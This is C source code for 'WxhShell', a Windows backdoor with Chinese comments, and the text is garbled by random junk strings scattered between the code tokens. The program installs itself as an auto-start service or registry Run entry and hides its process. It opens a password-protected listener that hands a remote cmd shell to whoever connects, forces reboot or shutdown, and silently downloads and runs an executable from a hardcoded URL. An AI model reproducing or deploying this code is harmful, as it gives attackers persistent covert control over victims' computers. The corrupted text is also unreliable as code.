(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -X
Bh\w NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7k:}9M~ ?PSm)
~Oa if (!NtQueryInformationProcess) return 0; z$`=7 afp s&M6DFlA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q/=L(_1l if(!hProcess) return 0; pP)0 l /H,!7!6>? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j+J)S1 a)[XJLCQ CloseHandle(hProcess); NQ{ XIN~ `96:Z-!} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t4UKG&[a if(hProcess==NULL) return 0; \p.Byso, '\dFhYs{* HMODULE hMod; NJ7N* char procName[255]; ^gh/$my; unsigned long cbNeeded; 2[Q*?N wI}5[m if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E'&UWDh 7##nY3",^ CloseHandle(hProcess); ^`\c;!)F< IX^k<Jqr if(strstr(procName,"services")) return 1; // 以服务启动 Jnm{i|6N f
7et return 0; // 注册表启动 7^Jszd:c08 } ^Y~ ,s =6q?XOM // 主模块 9 YU7R) int StartWxhshell(LPSTR lpCmdLine) 7
4aap2^ { $[[6N0}*: SOCKET wsl; or~o' BOOL val=TRUE; B.K"1o int port=0; VE6T&fz` struct sockaddr_in door; yK0Q, EUe2<G if(wscfg.ws_autoins) Install(); D_9&=aa' =6j
5, port=atoi(lpCmdLine); 91%+Bf()J6 q[1H=+ if(port<=0) port=wscfg.ws_port; 1U~AupHE d^Ra1@0"q2 WSADATA data; #d*mG = if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KcfW+>W3 )~O{jd
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wQp,RpM setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JXGIVH?Rpu door.sin_family = AF_INET; av gGz8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); V_~}7~
I door.sin_port = htons(port); '9*wr* W2yNEiH if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bUAjt>+ closesocket(wsl); LlRvm/ return 1; jY:(Tv3~ } ?qw&H /R u|WX?@\ if(listen(wsl,2) == INVALID_SOCKET) { &EmxSYL> closesocket(wsl); ]NuY{T&: return 1; FI*.2rdSR } \"_;rJ{!aE Wxhshell(wsl); RXt`y62yK WSACleanup(); } ~=53$+ \Q*3/_}G return 0; f&ZxG,]Hi >('L2]4\v } :{LVS
nG wv
,F>5P // 以NT服务方式启动 AT+|}B! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZGzrh`j{- { .pi#Z/v DWORD status = 0; ;#3!ZB:} DWORD specificError = 0xfffffff; Uv[:Aj 23pHB|X serviceStatus.dwServiceType = SERVICE_WIN32; 1b;Aru~l serviceStatus.dwCurrentState = SERVICE_START_PENDING; sryujb., serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0UWLs_k: serviceStatus.dwWin32ExitCode = 0; W}WGg|ug serviceStatus.dwServiceSpecificExitCode = 0; )+oDa{dZ serviceStatus.dwCheckPoint = 0; 1<<`T%& serviceStatus.dwWaitHint = 0; /Rx%}~x/m cpFw]w%] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -CT?JB if (hServiceStatusHandle==0) return; {TzKHnP MrLDe{^C2 status = GetLastError(); C
n\'sb{ if (status!=NO_ERROR) Puily9# { uMPJ serviceStatus.dwCurrentState = SERVICE_STOPPED; 9:fVHynr serviceStatus.dwCheckPoint = 0; > g8;x# serviceStatus.dwWaitHint = 0; z:RwCd1\ serviceStatus.dwWin32ExitCode = status; Si6%6rAhj serviceStatus.dwServiceSpecificExitCode = specificError; -Qiay/tlu SetServiceStatus(hServiceStatusHandle, &serviceStatus); kd|@. return; xlgN}M } &{x5 |$SD #?!)-Q% serviceStatus.dwCurrentState = SERVICE_RUNNING; n|SsV
serviceStatus.dwCheckPoint = 0; @w,-T@nAW serviceStatus.dwWaitHint = 0; I@+dE V`Lf if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "]*0)h_ } S=krF yFw exTpy // 处理NT服务事件,比如:启动、停止 eO(VSjo'` VOID WINAPI NTServiceHandler(DWORD fdwControl)
@5acTYQ { 9!_`HE+(XJ switch(fdwControl) sA3 4`ZAa { ' "~|L>F%G case SERVICE_CONTROL_STOP: lb{*,S serviceStatus.dwWin32ExitCode = 0; N:d`L+tcc serviceStatus.dwCurrentState = SERVICE_STOPPED; GLnj& Ve serviceStatus.dwCheckPoint = 0; %OfaBv& serviceStatus.dwWaitHint = 0; w;}P<K { ztgSd8GGE SetServiceStatus(hServiceStatusHandle, &serviceStatus); yew9bn0a= } B\KvKT|\ return; 3UslVj1u case SERVICE_CONTROL_PAUSE: 1f~unb\Gg serviceStatus.dwCurrentState = SERVICE_PAUSED; o`M7:8G break; Xy_+L_h^ case SERVICE_CONTROL_CONTINUE: Z7K;~* serviceStatus.dwCurrentState = SERVICE_RUNNING; vs7Hg)F break; <3O> case SERVICE_CONTROL_INTERROGATE: mJ#u] tiL break; 4FGcCE3 }; k/j]*~" SetServiceStatus(hServiceStatusHandle, &serviceStatus); r<UZ\d - } Xv]O1 f cI fk#SD "iJ // 标准应用程序主函数 2o6KVQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^Ml)g=Fq { ;5PXPpJ ::9U5E;! // 获取操作系统版本 +QtK
"5M OsIsNt=GetOsVer(); k~`pV/6 GetModuleFileName(NULL,ExeFile,MAX_PATH); `L]cJ0tAs rzLpVpTaz // 从命令行安装 Y71io^td~j if(strpbrk(lpCmdLine,"iI")) Install(); *]W{83rXQ w/~,mzM" // 下载执行文件 ,kpkXK if(wscfg.ws_downexe) { ,l&Dt, if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hG
uRV|` WinExec(wscfg.ws_filenam,SW_HIDE); HB||'gIC } < :<E~anH #=OKY@z/ if(!OsIsNt) { X4Q?]{ // 如果时win9x,隐藏进程并且设置为注册表启动 |@sUN:G4k HideProc(); 2?z3s|+[ StartWxhshell(lpCmdLine); L'H'E, } 52C>f6w else `rbTB3? if(StartFromService()) 7xO
=:* // 以服务方式启动 P"XF|*^U StartServiceCtrlDispatcher(DispatchTable); i"0^Gr else % E3 // 普通方式启动 (Z,v)TOXjV StartWxhshell(lpCmdLine); PUuxKW} \WQ\q
\ return 0; J)x-Yhe } 4~P{H/] A'c0zWV2 _o'ii
VDuD #:3ca] k =========================================== =A$5~op% /v
U$62KA ]- " )r !)?n n3 !0zbWB9 l"W9uS;\T " &;&i#ZO Q0#oR[( #include <stdio.h> "|{NRIE #include <string.h> (Dlh;Ic
r9 #include <windows.h> $.a<b^.Xi #include <winsock2.h> o:.={)rX #include <winsvc.h> ~4"adOv #include <urlmon.h> P%8
Gaa= sG=D(n1 #pragma comment (lib, "Ws2_32.lib") ?w#V<3= #pragma comment (lib, "urlmon.lib") ^vn8s~# yS[:C
2v #define MAX_USER 100 // 最大客户端连接数 0BMKwZg #define BUF_SOCK 200 // sock buffer sX.L #define KEY_BUFF 255 // 输入 buffer EeIV6ug )D{L<.i_ #define REBOOT 0 // 重启 b^~ keQ #define SHUTDOWN 1 // 关机 A5S9F8Q/] E/v.+m #define DEF_PORT 5000 // 监听端口 <4ccT l ` .|JTm[ #define REG_LEN 16 // 注册表键长度 [a:yKJ[ #define SVC_LEN 80 // NT服务名长度 ,|D_? D)U (#k>cA(} // 从dll定义API )e d5~ok typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H!?Av$h` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x4r8^,K3Zn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;PCnEs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NoTEbFrV 4zkn~oy // wxhshell配置信息 _PLY<i2vr struct WSCFG { {_&'tXL int ws_port; // 监听端口 i ?&t@"' char ws_passstr[REG_LEN]; // 口令 twv|,kM int ws_autoins; // 安装标记, 1=yes 0=no 48hu=,)81* char ws_regname[REG_LEN]; // 注册表键名 =iW!Mq char ws_svcname[REG_LEN]; // 服务名 Ebw1 %W KC char ws_svcdisp[SVC_LEN]; // 服务显示名 $N'AZY]4] char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]-QY,
k char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,pM~Phmp int ws_downexe; // 下载执行标记, 1=yes 0=no J -tOO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7I;xRo| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NRN3*YGo 9 js!gJC }; x' >Nz{B,P YT'G#U1x~ // default Wxhshell configuration a"SH_+T{ struct WSCFG wscfg={DEF_PORT, 2~dUnskyy "xuhuanlingzhe", {; #u~e(W 1, H=Scrvfx "Wxhshell", }{T9`^V:h "Wxhshell", %sxLxx_x! "WxhShell Service", 7r;7'X5 "Wrsky Windows CmdShell Service", Jmrs@ "Please Input Your Password: ", W; yNg 1, "O{j}QwY "http://www.wrsky.com/wxhshell.exe", rH*1bDL "Wxhshell.exe" 5b> -t#N, }; yY_(o]k XtY!fo* // 消息定义模块 1N6.r:wg)% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h
DpIwzJ char *msg_ws_prompt="\n\r? for help\n\r#>"; 7=i8$v&GX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YXz*B5R char *msg_ws_ext="\n\rExit."; K.) ionb char *msg_ws_end="\n\rQuit."; uu ahR char *msg_ws_boot="\n\rReboot..."; jr[(g:L char *msg_ws_poff="\n\rShutdown..."; )[fjZG[ char *msg_ws_down="\n\rSave to "; 'NJGez'b, j5Kw0Wy7 char *msg_ws_err="\n\rErr!"; ZByxC*Cz char *msg_ws_ok="\n\rOK!"; Geyy!sr`` B7PkCS&X char ExeFile[MAX_PATH]; \|e>(h!l; int nUser = 0; `_%UK=m
HANDLE handles[MAX_USER]; _gU:!:} int OsIsNt; 8Na.H::cZ !%MI9Ok SERVICE_STATUS serviceStatus; V`P8oIOh] SERVICE_STATUS_HANDLE hServiceStatusHandle; ]Z\Z_t f@S n1c,Mk // 函数声明 er@"4R0 int Install(void); s%M# int Uninstall(void); W*J_PL9j int DownloadFile(char *sURL, SOCKET wsh); PLD&/SgP* int Boot(int flag); kw)("SQ void HideProc(void); krqz;q-p~ int GetOsVer(void); S!+c1q:
]. int Wxhshell(SOCKET wsl); r-^FM~Jp void TalkWithClient(void *cs); K[wny0 ( int CmdShell(SOCKET sock); d*qb^C{'" int StartFromService(void); 7LEB,bU int StartWxhshell(LPSTR lpCmdLine); J)7\k$ D p7{2/mj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Lk%`hsv VOID WINAPI NTServiceHandler( DWORD fdwControl ); CFE ubEb r<'ni // 数据结构和表定义 G47(LE"2b SERVICE_TABLE_ENTRY DispatchTable[] = !8g419Yg { hcn$uyP {wscfg.ws_svcname, NTServiceMain}, ?^Gi;d5 {NULL, NULL} ')R+Z/hG. }; w8=&rzr8 Vn&{yCm3 // 自我安装 cp1-eR_& int Install(void) /80H.|8O { ]MD,{T9l\> char svExeFile[MAX_PATH]; zM+4<k_dH] HKEY key; Ibf~gr(j strcpy(svExeFile,ExeFile); 1O#]qZS}] 7gWT[ // 如果是win9x系统,修改注册表设为自启动 j1zrjhXI if(!OsIsNt) { jY;T:C-T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wd`*<+t] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cNbH:r"Ay RegCloseKey(key); oW}nr<G{< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } 6 ,m2u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n[S-bzU^t RegCloseKey(key); \;XDPC j return 0; VSx9aVPkC } 5!QT
}Um } yv[3&E? } '/OcJVSR else { @h&:xA56 rn$G.SMgz // 如果是NT以上系统,安装为系统服务 Cn"_x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1Kjqs)p^ if (schSCManager!=0) ]I,(^Xq3a( { V0)bPcS/ SC_HANDLE schService = CreateService ^C=dq(i=[ ( 2LfiaHO schSCManager, z`"*60b wscfg.ws_svcname, jgvzp wscfg.ws_svcdisp, SND@#?hiO SERVICE_ALL_ACCESS, @V?T'@W7D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vu`5/QDq SERVICE_AUTO_START, 1Clid\T,o SERVICE_ERROR_NORMAL, kzE<Y svExeFile, V`
T l$EF NULL, LC1WVK/ NULL, zqHG2:MN" NULL, OV
G|WC NULL, 0g2? NULL Iuyq!R4:7 ); ZUyS+60 if (schService!=0) z*a-=w0 { z@g%9|U CloseServiceHandle(schService); &k@\k<2Ia CloseServiceHandle(schSCManager); XE>w& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LR "=( strcat(svExeFile,wscfg.ws_svcname); XF&_**0n if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `@q\R-` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E2xK GK RegCloseKey(key); PglSQ2P return 0; <4LW.q } F?z:[1(: } vfd<qdi3p( CloseServiceHandle(schSCManager); /0sw rt. } ~6"=d } {q/;G!ON.S $`A{-0=x\U return 1; l4gF.-.GYF } 4#Xz-5v !/a![Ne // 自我卸载 vbD"" int Uninstall(void) "S]G+/I|iw { gSa !zQN6 HKEY key; {/FdrS D6dliU?k if(!OsIsNt) { Z2U6<4?1% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { upLjkQ)_ RegDeleteValue(key,wscfg.ws_regname); XU`ly3! RegCloseKey(key); &^UT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PNo9.-@G RegDeleteValue(key,wscfg.ws_regname); ^e]O-,UBk RegCloseKey(key); 0HO'%'Ga* return 0; csd9[=HW/Q } x8xz33 } =@nE:uto] } v8YF+N else { i zYC0T9 zcC:b4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Y( if (schSCManager!=0) =P9Tc"2PN { zs(P2$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o}&{Y2!x if (schService!=0) m-qu<4A/U| { d8uDSy if(DeleteService(schService)!=0) { ]K3bDU~ CloseServiceHandle(schService); .kU}x3m CloseServiceHandle(schSCManager); U(PW$\l return 0; oTRidG } (rc7Cp3 CloseServiceHandle(schService); W}y)vrL } c1q; CloseServiceHandle(schSCManager); Gshy$'_e } EJP] E) } '6kD6o_p1 E/hT/BOPK return 1; cij8'("+! } oiIl\#C [dR#!"6t // 从指定url下载文件 y^e3Gyk int DownloadFile(char *sURL, SOCKET wsh) J)^F { @M OaXe HRESULT hr;
0~z`>#W, char seps[]= "/"; d-C%R9 char *token; ;[79Ewd#$ char *file; -dWg1`; char myURL[MAX_PATH]; `M*jrkM]x char myFILE[MAX_PATH]; op@=0d?? g${JdxR: strcpy(myURL,sURL); bSz@@s. token=strtok(myURL,seps); @tJ4^<`P{ while(token!=NULL) ')}itS8 { {+ Ibi{ file=token; 0~EGrEt token=strtok(NULL,seps); s3T7M:DM4 } [K@(,/$ ySB0"bl GetCurrentDirectory(MAX_PATH,myFILE); c^O&A\+; strcat(myFILE, "\\"); @eZBwFe strcat(myFILE, file); qX`Hi9ja send(wsh,myFILE,strlen(myFILE),0); }VRl L>HAC send(wsh,"...",3,0); oB%_yy+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |VzXcV-"8) if(hr==S_OK) JQ;.+5
N<K return 0; F\hVunPVx else 6yBd9= 3K return 1; Z^}[CQ&Am pH2/."zE< } }a/z.&x]V 'Hzc"<2Y\ // 系统电源模块 $hHV Ie]+ int Boot(int flag)
*Ojl@N { L+VQtp&" HANDLE hToken; Q)y5'u qZ TOKEN_PRIVILEGES tkp; mo3A *|U "G-h8IN^O if(OsIsNt) { kxN
O9w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ozhn`9L+1! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6"
<(M@ tkp.PrivilegeCount = 1; xmEom tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y+o\?|q-E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $Mj\ 3 if(flag==REBOOT) { UM#.` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {NQCe0S+p return 0; Mvue>)g~> } @e& 0Wk else { }zS5o
[OE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,v
2^Ui return 0; %.D!J",\/K } /D1Lh_,2 } $_,-ESI else { $5/d?q-ts{ if(flag==REBOOT) { :8j7}' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p!8phS#iP return 0; Xtfs)" } +Z2XP76(4A else { x;sc?5_` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u#rbc" return 0; a|=^ } }vh4ix } q*4U2_^. \{]y(GT return 1; (5E09K$ } >d=pl}-kOQ Ue60Mf // win9x进程隐藏模块 ;2\6U; void HideProc(void) W8$0y2 { 4Ngp - ~,ozhj0f/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rzh.zvxTp if ( hKernel != NULL ) kx d*B
P { \v6lcAL- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z\U r F0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |0oaEd^*} FreeLibrary(hKernel); $Hj;i/zD } r#2Fk&Z9 Z~QLjv&$/r return; xp'Q>%v } .4 U*.Rf
n}[S // 获取操作系统版本 <K<#)mcv int GetOsVer(void) +-(,'slov { JKfJ%yy | OSVERSIONINFO winfo; !H)- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rm9>gKN;# GetVersionEx(&winfo); -aVC` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,OubKcNg return 1; 9M3"'^ {$ else DpvHIE:W return 0; %7}j|eS)G } PZJ9f8V IQ_s]b;z // 客户端句柄模块 c AO:fb7 int Wxhshell(SOCKET wsl) $-Ex
g*i { }zf!mlk SOCKET wsh; &mmaoWR struct sockaddr_in client; 5qW>#pTFVV DWORD myID; t"YsIOT:O"
UWqD)6 while(nUser<MAX_USER) mICEJ\`x { ni%)a int nSize=sizeof(client); d6'G
7'9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pvUV5^B(M if(wsh==INVALID_SOCKET) return 1; jq*`| m;Q j}",+Hv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `R:W5_n if(handles[nUser]==0) zD<W`_z closesocket(wsh); <{bxOr+ else Q2- lHn^L: nUser++; sH;_U)ssH } 7+hF1eoI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); viUJ4Pn 1w(3!Ps+ return 0; j|wN7@Zc } [8IO0lul+ wB[f%mHs
// 关闭 socket d[p2?] void CloseIt(SOCKET wsh) <>9!oOa { 1u7D:h># closesocket(wsh); ?YS>_MN nUser--; pKy4***I3 ExitThread(0); 6(d6Uwc` } <A8>To< 6V]m0{:E // 客户端请求句柄 :,aY|2si void TalkWithClient(void *cs) Sk>=C0f: { QJ4$) Fr( `3i>e<m~ SOCKET wsh=(SOCKET)cs; <MkvlLu((o char pwd[SVC_LEN]; Vez8~r3 char cmd[KEY_BUFF]; N;'c4=M~( char chr[1]; jK]1X8 int i,j; 2{63:f1c`' 0jlM~ H while (nUser < MAX_USER) { yT_W\"=8 `}#rcDK if(wscfg.ws_passstr) { lMGO4U[z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m","m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jL^@;"/XhC //ZeroMemory(pwd,KEY_BUFF); czD"mI! i=0; Wy7w zt while(i<SVC_LEN) { G/Sp/I<d n]'
r3 // 设置超时 XyE$0i~t fd_set FdRead; ^ZQMRNP{r struct timeval TimeOut; *}lLV.+A FD_ZERO(&FdRead); ,GYQ,9: FD_SET(wsh,&FdRead); )^{}ov TimeOut.tv_sec=8; G]f|? TimeOut.tv_usec=0; 8CZfz!2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O;<wDh)Yt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z80P5^9 =;uMrb4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,.QJS6Yv pwd=chr[0]; 8.B'O>\T if(chr[0]==0xd || chr[0]==0xa) { }^Q:Q\ pwd=0; Mt-r`W3 q break; 1l#46?]~ } j@z IJ i++; #\lvzMjCC } F5
]<=i j9[I6ko5' // 如果是非法用户,关闭 socket $YEm(:v$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -9t"$)& } mYgfGPF` Mi8)r_l%O send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [cd1Mf:[Y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +mVAmG@ ~?ezd0 while(1) { )xV37] ]E<Z5G1HD ZeroMemory(cmd,KEY_BUFF); `w:kY9
w!20 // 自动支持客户端 telnet标准 !2Nk j=0; xjo`u:BH while(j<KEY_BUFF) { Deh3Dtg/k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fYk>LW cmd[j]=chr[0]; kPs? if(chr[0]==0xa || chr[0]==0xd) { KM?4J6jH cmd[j]=0; /#Aw7F$Ey break; ~TRC-H } uH9Vj<E$K j++; O0qG
6a } [G|. r/!,((Z\ // 下载文件 n]IF`kYQV if(strstr(cmd,"http://")) { }Kgi!$<aQx send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~o^| >] if(DownloadFile(cmd,wsh)) H:~p5t send(wsh,msg_ws_err,strlen(msg_ws_err),0); CwX?%$S
else ;pW8a? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M[mYG _{J } kzRvLs4xM else { y 9]d{:9
C{J5:ak switch(cmd[0]) { LBy`N_@ Qjj }k) // 帮助 -iDs:J4Iq case '?': { p2gdAJ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N# }w1] break; ;]-08lzO<4 } dP8qP_77A~ // 安装 |:R\j0t case 'i': { I+& T}R
if(Install()) ;\0|1Eem` send(wsh,msg_ws_err,strlen(msg_ws_err),0); lz0-5z+\ else , lR(5ZI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]jhi"BM break; a 20w.6F } iP(MDVg // 卸载 gFTU9k< case 'r': { lKejWT`; if(Uninstall()) JI!1
.]& send(wsh,msg_ws_err,strlen(msg_ws_err),0); vMp=\U-~^ else ;-u]@35 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mgw#4LU break; 1 7~Pc } C|&tdh :g // 显示 wxhshell 所在路径 2X2Ax~d@ case 'p': { F|F0#HC ? char svExeFile[MAX_PATH]; yQrgOdo,w strcpy(svExeFile,"\n\r"); <
c^'$ strcat(svExeFile,ExeFile); 2.Vrh@FNRo send(wsh,svExeFile,strlen(svExeFile),0); bPOPoq1# break; fS4foMI63) } }h;Z_XF& // 重启 G!I++M" case 'b': { {A0F/#M] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6)^*DJy if(Boot(REBOOT)) \XB,)XDB send(wsh,msg_ws_err,strlen(msg_ws_err),0); FvT4?7- else { NRx 7S9W closesocket(wsh); v)du] ExitThread(0); 9Ad%~qciY } 1!1JT;gG^9 break; h2zSOY{su } oYw?kxRZ // 关机 t`JT case 'd': { =cl#aS}e8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P;I,f if(Boot(SHUTDOWN)) #!Cg$6%x9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 ~P$p< else { g&g:HH: closesocket(wsh); RDbNC v# ExitThread(0); _E?tVx.6 } nr]=O`Mvh break; %_E5B6xi{ } 66?`7j X // 获取shell ELwXp|L case 's': { _K#7#qp2 CmdShell(wsh); K7&]|^M9 closesocket(wsh); HHx:s2G ExitThread(0); 6h/!,j0:t_ break; l5w^rj } tQzbYzGb7 // 退出 @M\JzV4 A[ case 'x': { C,W@C send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c:K/0zY CloseIt(wsh); zdJPMNHg break; Nt8"6k_ } $HQ~I?r{Hf // 离开 Q I";[ case 'q': { wBpt
W2jA send(wsh,msg_ws_end,strlen(msg_ws_end),0); ia\Gmh closesocket(wsh); %t&Lq }e WSACleanup(); h{mzYy}b exit(1); H,KH}25 break; rmw}Ui" } 2Di~}* 9& } bsu?Q'q
} e Fs5l |5;,]lbt // 提示信息 Kc]cJ`P4. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mdL T7 } ? /!Fv/ } dwB#k$VIOw "#wAGlH6> return; +DSbr5"VlB } )q'dX+4=eL wrJQkven- // shell模块句柄 Q3ZGN1aX< int CmdShell(SOCKET sock) :gRrM)n { 2f:h z STARTUPINFO si; nycJZ}f:wP ZeroMemory(&si,sizeof(si)); jF6Q:`k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AT
t.}- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z%o.kd" PROCESS_INFORMATION ProcessInfo; 6'*6tS char cmdline[]="cmd"; [5xm>Y&} CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lb$Uba-_ return 0; |6-9vU!LK? } 60~*$` /TbJCZ // 自身启动模式 bzpi7LKN int StartFromService(void) $]?pAqU\ { *><j(uz! typedef struct
'*Y mYU { |8}y?kAC DWORD ExitStatus; BpA7
z / DWORD PebBaseAddress; KD#zsL)3 DWORD AffinityMask; D`n<!"xg@$ DWORD BasePriority; d3E N0e+^ ULONG UniqueProcessId; oa+'.b~ ULONG InheritedFromUniqueProcessId; ui8$ F
"I* } PROCESS_BASIC_INFORMATION; ;Uch C,;<SV2# PROCNTQSIP NtQueryInformationProcess; @B{ fPN/Mxu static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r|Uz? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J-=fy^S5 :D}?H@(69 HANDLE hProcess; mK M[[l&A PROCESS_BASIC_INFORMATION pbi; b^i$2$9_ 2FL_!;p;2E HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TS=%iMa if(NULL == hInst ) return 0; zk70D_}L vyc<RjS_x g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d<?Zaehe\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :OU(fz] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T:Q+ Z }v+ "nJMS6HJ[ if (!NtQueryInformationProcess) return 0; LkeYzQH/l xg%{p`` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B7A.~'= if(!hProcess) return 0; :zC=JvKT MeV4s%*O+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i{:?Iw 'ay !U5Cwq CloseHandle(hProcess); k!qOE\%B 1\-lAk!
